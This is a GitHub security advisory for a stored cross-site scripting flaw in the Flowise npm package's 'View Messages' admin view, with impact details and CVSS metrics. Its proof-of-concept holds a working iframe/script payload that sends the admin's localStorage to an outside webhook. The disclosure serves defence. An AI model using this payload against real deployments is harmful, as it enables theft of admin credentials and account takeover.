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Flowise vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

Critical severity GitHub Reviewed Published Oct 3, 2025 in FlowiseAI/Flowise • Updated Oct 3, 2025

Package

npm flowise (npm)

Affected versions

< 2.2.7-patch.1

Patched versions

2.2.7-patch.1

Description

Summary

A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.


Details

The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.


PoC

  1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
  2. Send the following payload via the agent's chat interface:
    <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>">
  3. As an admin, go to the workflow and click "View Messages".
  4. The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.

Impact

  • Type: Stored Cross-Site Scripting (XSS)
  • Who is impacted: Any admin viewing messages in the FlowiseAI UI
  • Data at risk: Admin credentials, or sensitive info stored in localStorage
  • Severity: High (Account takeover, admin privilege escalation, full panel compromise)

Affected Products

  • Ecosystem: npm
  • Package name: flowise
  • Affected versions: < 2.2.7
  • Patched versions:1

References

@HenryHengZJ HenryHengZJ published to FlowiseAI/Flowise Oct 3, 2025
Published to the GitHub Advisory Database Oct 3, 2025
Reviewed Oct 3, 2025
Last updated Oct 3, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-964p-j4gg-mhwc

Source code

Credits

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